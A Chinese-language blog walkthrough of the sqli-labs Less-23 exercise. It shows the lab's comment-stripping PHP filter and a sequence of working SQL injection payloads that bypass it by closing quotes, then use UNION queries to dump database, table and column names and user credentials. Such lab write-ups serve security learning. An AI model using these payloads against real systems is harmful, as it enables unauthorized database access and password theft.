Less -23

Less-23 注释符过滤

  1. 首先,在尝试'发现可以注入,但是在尝试注入之后一直报错。并且无论是#还是--+,回显都没有出现,初步判断是注释符过滤了。

在这里插入图片描述

  1. 查看源码可以看到,#--+都被替换为了空字符。所以这次要考虑闭合掉引号,构造查询语句。
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
  1. 那么构造语句,测试是否存在注入点。查询成功,表示注入点存在的。
' or 1=1 or id='

在这里插入图片描述

  1. 从后台查看语句是。这里是使用了'对整个查询进行闭合,我们可以操作的部位就是在or 1=1
 SELECT * FROM users WHERE id='' or 1=1 or id='' LIMIT 0,1
  1. 获取数据库名字,第二个关键字database()其实只是作为一个关键字,完善or并将查询语句补充完整,没有实际效用。
' union select 1,database(),3 or database()='2

在这里插入图片描述

  1. 获取表名,
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" or database()='2

在这里插入图片描述

  1. 获取列名,这里将第二个database()换掉是因为会影响查询结果,直接换为table_name=users'可以完成查询与闭合。
' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name='users

在这里插入图片描述

  1. 获取数据,爆库成功
' union select 1,group_concat(concat_ws("|",id,username,password)),3 from users where database()='security

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值